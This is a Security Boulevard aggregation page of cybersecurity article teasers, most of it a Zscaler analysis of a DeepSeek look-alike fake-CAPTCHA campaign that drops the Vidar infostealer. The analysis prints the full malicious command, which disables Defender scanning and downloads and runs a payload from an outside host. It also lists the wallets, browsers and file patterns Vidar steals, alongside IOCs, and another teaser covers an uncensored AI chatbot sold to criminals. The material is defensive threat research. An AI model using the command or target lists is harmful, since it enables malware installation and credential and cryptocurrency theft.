Security Boulevard

Are We Ready to Embrace NHI Innovation? Cybersecurity within various industry verticals has witnessed remarkable transformations due to rapid advancements in technology. But, amidst all the buzz, have we been successful in fully embracing the NHI innovation? Non-Human Identities (NHIs) and Secrets Security Management have surfaced as an unexpected game-changer in the cybersecurity ecosystem, offering […]

The post Harnessing Innovation for Better NHIs? appeared first on Entro.

The post Harnessing Innovation for Better NHIs? appeared first on Security Boulevard.

Is Your Organization Achieving Scalable Secrets Management? How well does your organization manage its Non-Human Identities (NHIs) and their secrets? A cybersecurity expert often asked about the best methods for managing NHIs, especially where the need for scalable and robust security measures is increasing. This post explores why a comprehensive approach to NHI and Secrets […]

The post Is Your Secrets Management Scalable? appeared first on Entro.

The post Is Your Secrets Management Scalable? appeared first on Security Boulevard.

• Sophistication of BEC Attacks: Business Email Compromise (BEC) attacks are becoming increasingly sophisticated, leveraging advanced social engineering, AI-driven personalization, and phishing kits in order to overcome MFA protections.
• Exploitation of Trust: Some threat actor groups have been discovered levering a technique that involves embedding phishing lures within email signature blocks on user accounts. This deceptive tactic exploits recipients’ trust and attention to the benign nature of signature sections by replacing it with a formatted email. It can also remain undetected during certain investigative steps as it's not considered an inbox rule change which could be associated with specific audit logging and alerting.
• Cascading Impact: Once initial credentials are compromised, attackers often use these accounts to launch secondary phishing campaigns, expanding their reach and escalating financial and reputational damage to organizations. Additionally, even after a password change and a threat actor has lost access to a previously compromised account, if the signature block alteration is not caught and remediated quickly, then normal sending of emails by the user may unknowingly perpetuate the attack forward.

Business email compromise attacks have become increasingly common in recent years, driven by sophisticated social engineering tactics that make it easier to dupe victims. This is in part to the believability that the threat actors are able to achieve by collecting sensitive information from publicly available sources, including corporate websites and social media. Criminals leverage this information to pose as trusted colleagues or business partners, using stolen or spoofed email accounts to deliver convincing messages that prompt recipients to transfer funds or disclose confidential information. The evolving nature of these schemes is characterized by their high success rate, low technological barriers to entry for threat actors, and the substantial financial losses incurred by victim organizations. Advancements in automation, AI-driven personalization, and ready-to-use phishing kits have further accelerated the proliferation of BEC attacks, creating a lucrative marketplace for cybercriminals.

The post Deceptive Signatures: Advanced Techniques in BEC Attacks appeared first on Security Boulevard.

Authors/Presenters: Yso & Martin Strohmeier

Our sincere appreciation to DEF CON, and the Authors/Presenters for publishing their erudite DEF CON 32 content. Originating from the conference’s events located at the Las Vegas Convention Center; and via the organizations YouTube channel.

Permalink

The post DEF CON 32 – Exploiting Bluetooth: From Your Car To The Bank Account$$ appeared first on Security Boulevard.

Kernel Panic in the Rust Belt. Memory safety: GOOD. Cheese motion: BAD.

The post Rust vs. C — Linux’s Uncivil War appeared first on Security Boulevard.

Cloud security covers a wide range of tools and frameworks, which makes it hard to implement. Cloud security posture management (CSPM) organizes the process.

The post 7 CSPM Tools to Secure Your Cloud Infrastructure appeared first on Security Boulevard.

Non-human identities (NHIs) power automation, cloud services, and DevOps workflows for many organizations. These digital entities enable seamless system interactions and even outnumber human identities in some cases.

The post What Are Non-Human Identities? Challenges and Best Practices appeared first on Security Boulevard.

At Seceon’s 2025 Q1 Innovation and Certification Days, Khaled Al Najjar of Seceon engaged in an insightful discussion with Tech First Gulf (TFG) leaders Ram Reddy, Dolly Lakhani, and Pratik Patel about their partnership and the expansion of Seceon’s cybersecurity solutions across the Middle East, Africa, and India. The conversation highlighted the growing demand for

The post Expanding Seceon’s Reach: A Strategic Partnership with Tech First Gulf appeared first on Seceon Inc.

The post Expanding Seceon’s Reach: A Strategic Partnership with Tech First Gulf appeared first on Security Boulevard.

via the inimitable Daniel Stori at Turnoff.US!

Permalink

The post Daniel Stori’s Turnoff.US: ‘Ubuntu Core’ appeared first on Security Boulevard.

Articles related to cyber risk quantification, cyber risk management, and cyber resilience.

The post What Is Cybersecurity Performance Management? | Kovrr appeared first on Security Boulevard.

It looks like a very sophisticated attack against the Dubai-based exchange Bybit:

Bybit officials disclosed the theft of more than 400,000 ethereum and staked ethereum coins just hours after it occurred. The notification said the digital loot had been stored in a “Multisig Cold Wallet” when, somehow, it was transferred to one of the exchange’s hot wallets. From there, the cryptocurrency was transferred out of Bybit altogether and into wallets controlled by the unknown attackers.

[…]

…a subsequent investigation by Safe found no signs of unauthorized access to its infrastructure, no compromises of other Safe wallets, and no obvious vulnerabilities in the Safe codebase. As investigators continued to dig in, they finally settled on the true cause. Bybit ultimately said that the fraudulent transaction was “manipulated by a sophisticated attack that altered the smart contract logic and masked the signing interface, enabling the attacker to gain control of the ETH Cold Wallet.”...

The post North Korean Hackers Steal $1.5B in Cryptocurrency appeared first on Security Boulevard.

It's been a while since I've shared an update on the work Sonatype is doing in the open source ecosystem, so I'm excited to share an update on a few things we're doing in the space — and how it led to the creation of a new security standard in the Open Source Security Foundation (OpenSSF).

The post Behind the Baseline: Reflecting on the launch of the Open Source Project Security Baseline appeared first on Security Boulevard.

Cary, NC, Feb. 25, 2025, CyberNewswire — INE, the leading provider of networking and cybersecurity training and certifications, today announced its recognition as an enterprise and small business leader in online course providers and cybersecurity professional development, along with … (more…)

The post News alert: INE secures spot in G2’s 2025 Top 50 education software rankings first appeared on The Last Watchdog.

The post News alert: INE secures spot in G2’s 2025 Top 50 education software rankings appeared first on Security Boulevard.

GhostGPT is revolutionizing cybercrime by providing hackers with an AI tool that bypasses ethical guardrails found in mainstream models. Available as little as $150, it enables even novice attackers to generate malicious code, craft phishing emails, and automate social engineering at scale.

The post GhostGPT: An Uncensored AI Chatbot Empowering Cybercriminals appeared first on Security Boulevard.

IntroductionThe rapid rise of generative AI tools has created opportunities and challenges for cybercriminals. In an instant, industries are being reshaped while new attack surfaces are being exposed. DeepSeek AI chatbot that launched on January 20, 2025, quickly gained international attention, making it a prime target for abuse. Leveraging a tactic known as brand impersonation, threat actors craft fraudulent websites designed to impersonate DeepSeek and mislead unsuspecting users into divulging sensitive information and/or executing harmful malware. Zscaler ThreatLabz has highlighted concerns about open source generative AI tools, like DeepSeek, being misused by threat actors to enhance exploitation and data theft strategies. This blog post delves into a DeepSeek-themed malware campaign that abuses the popularity of the name. Alongside brand impersonation, this attack chain demonstrates techniques, including clipboard injection to deliver malicious PowerShell commands, the deployment of the Vidar information stealer, and the use of legitimate platforms like Telegram and Steam to conceal command-and-control (C2) communication. We also examine additional look-alike domains designed to lure users into interacting with malicious webpages.Key Takeaways Cybercriminals are leveraging DeepSeek's popularity by creating websites hosted on fake look-alike domains to deceive users and deliver the Vidar information stealer. The malware campaign uses a fake CAPTCHA page to conduct clipboard injection, secretly copying a malicious PowerShell command for users to execute.It is crucial for organizations to have well defined policies and security controls governing the use of generative AI models and applications in their environment, both for sanctioned and unsanctioned applications.DeepSeek Look-Alike DomainsThreatLabz has identified numerous domains leveraging the popularity of DeepSeek that imitate the official website and affiliated websites. These fraudulent domains are used to facilitate a variety of malicious activities, including cryptocurrency pump-and-dump schemes, fake forums designed to steal user credentials, bogus gift card scams, and counterfeit gambling platforms. Below is a list of domains observed impersonating DeepSeek during our investigation.presales-deepseek[.]comdeepseekpg[.]betdeepseekaiagent[.]livedeepseekjulebu[.]shopdeepseekr1[.]clubdeepseekonchain[.]comdeepseek-v3[.]xyzdeepseek-pro[.]clouddeepseekai[.]clubdeepseekpepe[.]sitedeepseekai[.]globaldeepseekpepe-eth[.]comdeepseeksol[.]comtrydeepseek[.]comsale-deepseek[.]comdeepseekpumpfun[.]comdeepseektrump[.]xyzdeepseekaiclaim[.]livedeepseek2025[.]xyzdeepseekfree[.]xyzdeepseekai[.]todaydeepseek-adverting[.]icudeepseekclaim[.]livedeepseekt[.]orgdeepseek-trump[.]xyzdeepseek4youtube[.]comdeepseekaigames[.]sitedeepseek[.]expressdeepseeksky[.]comdeepseekfart[.]xyzchatdeepseek[.]appdeepseekaieth[.]comdeepseekcaptcha[.]topdeepseek[.]topdeepseekai-eth[.]fundeepseek[.]appdeepseek[.]art Technical AnalysisAttack chainIn this section, we will describe an attack chain that abuses the DeepSeek brand to spread malware. The malware campaign begins with attackers creating a fake domain that impersonates DeepSeek. This website asks visitors to complete a registration process, redirecting them to a fake CAPTCHA page. Malicious JavaScript on the page copies a malicious PowerShell command to the user's clipboard, prompting them to execute it. If the user runs the PowerShell command, a packed Vidar executable (1.exe) will be downloaded and executed.An overview of the attack chain is shown below:Figure 1: A diagram illustrating the attack chain employed in this campaign, which leveraged a look-alike domain and DeepSeek's branding to deceive users.1. Domain setupThreatLabz examined a suspicious look-alike domain called deepseekcaptcha[.]top. The domain is designed to impersonate the DeepSeek brand through a webpage that urges users to complete a "verification" process. The webpage can be seen below:Figure 2: Example webpage impersonating the DeepSeek brand to spread malware.A WHOIS lookup reveals that the domain is relatively new, registered on January 31, 2025, shortly after the launch of the DeepSeek chatbot. Newly registered domains are often a red flag for malicious activity, particularly as ThreatLabz observed a 400%+ increase in encrypted attacks leveraging newly registered domains last year. This timing strongly suggests that the threat actors behind the website are attempting to capitalize on the widespread attention and impact DeepSeek has generated across various sectors.2. Deceptive verification promptThe webpage prompts users to complete a partner registration, as shown in the figure below:Figure 3: The DeepSeek-themed webpage prompting users to complete a fake partner registration.When the user clicks on the verification button, they are redirected to a fake CAPTCHA page, like the one shown in the figure below. Figure 4: Fake CAPTCHA lure in DeepSeek-themed malware scam. Once the user clicks on the "I’m not a robot" confirmation, JavaScript on the page automatically copies malicious code to the user's clipboard and prompts them to execute the command in the Windows Run window, as shown in the figure below.Figure 5: Fake CAPTCHA instructions to dupe a victim into executing malicious code.3. Malicious clipboard injectionThe PowerShell command copied to the clipboard is shown below:cmd /c "powershell Add-MpPreference -ExclusionPath 'C:\' && timeout 2 && powershell Invoke-WebRequest -Uri 'http://book[.]rollingvideogames[.]com/temp/1.exe' -OutFile '%TEMP%\1.exe' && start %TEMP%\1.exe" # ✅ ''I am not a robot - reCAPTCHA Verification ID: 1212''Examining the source code of the verification page reveals the JavaScript responsible for copying the malicious code to the user’s clipboard, as shown below.Figure 6: JavaScript clipboard functions used to copy malicious PowerShell commands to the user’s clipboard.4. Execution of trojan dropperWhen executed, the PowerShell command downloads and launches a malicious file (in this case named 1.exe). This file is a packed sample of Vidar.5. Vidar deploymentOnce Vidar malware is executed on the victim’s system, it initiates its primary objective: harvesting sensitive data. This data includes user credentials, cryptocurrency wallet information, browser cookies, and personal files. The malware employs social media platforms, such as Telegram, to conceal its C2 infrastructure.Payload behavior and targeted dataVidar extracts data from specific locations within the victim’s file system and registry to locate sensitive assets.Targeting cryptocurrency walletsVidar is programmed to search for files and configurations related to major cryptocurrency wallets. When a cryptocurrency wallet is detected on the victim’s system, Vidar queries specific registry keys and file paths to exfiltrate sensitive data such as wallet files.For this DeepSeek related attack, the Vidar sample was configured to target the following browser extensions related to cryptocurrency:MetaMaskTezBoxLeap Cosmos WalletTronLinkGobyMultiversX DeFi WalletBinanceChainWalletRoninWalletEdgeFrontier WalletYoroiUniSat WalletSafePalCoinbaseAuthenticatorSubWallet - PolkadotGuardaGAuth AuthenticatorWalletiWalletTroniumFluvi WalletRoninWalletTrust WalletGlass Wallet - Sui WalletNeoLineExodus Web3 WalletMorphis WalletCloverWalletBraavosXverse WalletLiqualityWalletEnkryptCompass Wallet for SeiTerra_StationOKX Web3 WalletHAVAH WalletKeplrSenderElli - Sui WalletAuroWalletHashpackVenom WalletPolymeshWalletGeroWalletPulse Wallet ChromiumICONexPontem WalletMagic Eden WalletCoin98FinnieBackpack WalletEVER WalletLeap TerraTonkeeper WalletKardiaChainMicrosoft AutoFillOpenMask WalletRabbyBitwardenSafePal WalletPhantomKeePass TuskBitget WalletOxygen (Atomic)KeePassXC-BrowserTON WalletPaliWalletRise - Aptos WalletMyTonWalletNamiWalletRainbow WalletUniswap ExtensionSolflareNightlyAlephium WalletCyanoWalletEcto WalletTalisman WalletKHCCoinhub Targeting browser dataVidar also actively searches victim systems for browser-related assets, including stored cookies, saved login credentials, and autofill data. The Vidar sample related to the DeepSeek lure was configured to target the list of browsers shown below:\Google\Chrome\User Data\Microsoft\Edge Dev\User Data\Google\Chrome SxS\User Data\360Browser\Browser\User Data\Chromium\User Data\Tencent\QQBrowser\User Data\Vivaldi\User Data\CryptoTab Browser\User Data\Epic Privacy Browser\User DataOpera: \Opera Software\CocCoc\Browser\User DataOpera GX: \Opera Software\BraveSoftware\Brave-Browser\User DataOpera Crypto: \Opera Software\CentBrowser\User Data\Mozilla\Firefox\Profiles\Microsoft\Edge\User Data\Moonchild Productions\Pale Moon\Profiles\Microsoft\Edge SxS\User Data\Thunderbird\Profile\Microsoft\Edge Beta\User Data The Vidar C2 server also instructed infected systems to search for the following filenames and extensions:*wallet*.**upbit*.**exodus*.**seed*.**bcex*.**metamask*.**btc*.**bithimb*.**myetherwallet*.**key*.**hitbtc*.**electrum*.**2fa*.**bitflyer*.**bitcoin*.**crypto*.**kucoin*.**blockchain*.**coin*.**huobi*.**coinomi*.**private*.**poloniex*.**words*.**2fa*.**kraken*.**meta*.**auth*.**okex*.**mask*.**ledger*.**binance*.**eth*.**trezor*.**bitfinex*.**recovery*.**pass*.**gdax*.**.txt*wal*.**ethereum*.* Network communicationVidar facilitates exfiltration of stolen data to attacker-controlled servers by communicating with hardcoded endpoints. Vidar abuses legitimate services like Telegram and Steam to provide the location of C2 infrastructure.In this attack, the malware utilizes the following infrastructure to resolve the Vidar C2 infrastructure:A publicly accessible Steam community profile (https://steamcommunity[.]com/profiles/76561199825403037).A Telegram channel (https://t[.]me/b4cha00).The following C2 IP addresses are associated with this campaign:77.239.117[.]22295.216.178[.]5795.217.246[.]174The botnet ID for this Vidar campaign was oomaino5.ConclusionThe virality of DeepSeek and the speed at which cybercriminals leveraged it to create look-alike domains highlight how precarious AI technology can be. While AI is a wonderful tool for productivity, it also provides threat actors with more opportunities for abuse, particularly through brand impersonation. Additionally, the proliferation of AI enables cybercriminals to launch more sophisticated and effective attacks with improved strategies.As AI adoption continues to expand, organizations must strengthen their security measures and educate users to recognize and mitigate threats. Zscaler ThreatLabz remains committed to uncovering and combating these threats to protect our customers.Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to Vidar at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for Vidar.Figure 7: Zscaler Cloud Sandbox report for Vidar.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators associated with Vidar and other related threats, as listed below:Win32.Trojan.ClearFakeJS.Injection.ClearFakePS.Downloader.ClearFakeWin32.PWS.VidarIndicators Of Compromise (IOCs) IndicatorDescriptionsteamcommunity[.]com/profiles/76561199825403037Steam profile used to locate Vidar for C2 infrastructure.t[.]me/b4cha00Telegram channel used by Vidar to locate C2 infrastructure.77[.]239[.]117[.]222Vidar C2 IP address. 95[.]216[.]178[.]57Vidar C2 IP address.95[.]217[.]246[.]174Vidar C2 IP address.sailiabot[.]comVidar C2 domain.9f680720826812af34cbc66e27e0281f Packed Vidar sample.e9a39ed8c569c9e568740e4eb93a6eecVidar sample.

The post DeepSeek Lure Using CAPTCHAs To Spread Malware appeared first on Security Boulevard.

At Seceon’s 2025 Q1 Innovation and Certification Days, Seceon’s Bhabani Prasad engaged in a conversation with cybersecurity experts Deeptesh Chandra and German Moreno about the evolving threat landscape and how Seceon’s AI-powered platform is setting new standards in cybersecurity. The discussion explored Seceon’s competitive strengths, AI-driven threat prevention, and the platform’s ability to consolidate multiple

The post Seceon’s AI-Driven Cybersecurity: Insights from Bhabani Prasad, Deeptesh Chandra, and German Moreno appeared first on Seceon Inc.

The post Seceon’s AI-Driven Cybersecurity: Insights from Bhabani Prasad, Deeptesh Chandra, and German Moreno appeared first on Security Boulevard.

Author/Presenter: The Magician

Our sincere appreciation to DEF CON, and the Authors/Presenters for publishing their erudite DEF CON 32 content. Originating from the conference’s events located at the Las Vegas Convention Center; and via the organizations YouTube channel.

Permalink

The post DEF CON 32 – Doors, Cameras & Mantraps: Oh My! appeared first on Security Boulevard.

2024 was a year of increasing email security risks for businesses. Email is the number one attack vector for cybercriminals, and phishing attacks remain the top threat to email users.

The 2024 Mimecast State of Email & Collaboration Security Report found that among IT leadership:

• 80% are concerned about new email-based threats posed by AI
• 41% of organizations experienced more email-based threats in 2024
• 56% worry their organizations' cyber defenses cannot keep pace with new threats.

But do perceived threats match up with actual threats?

Are organizations even using the right tools and mindset when it comes to email security?

The post 5 Essential Email Security Tips for Businesses appeared first on Security Boulevard.

Veriti’s latest research identifies key false positive triggers in cloud environments, their underlying causes, and their impact on businesses. By understanding these issues, security teams can refine their defenses and reduce unnecessary alerts without compromising protection. Two Main Causes of False Positives in Cybersecurity Protections Brute Force and Protocol-Based False Positives False positives often stem […]

The post Are False Positives Killing Your Cloud Security? Veriti Research Reveals  appeared first on VERITI.

The post Are False Positives Killing Your Cloud Security? Veriti Research Reveals  appeared first on Security Boulevard.

As organizations grow so does their infrastructure, often without a well-designed underlying infrastructure to support this growth. At GuidePoint Security […]

The post Untangling AWS Networks with Cloud WAN appeared first on Security Boulevard.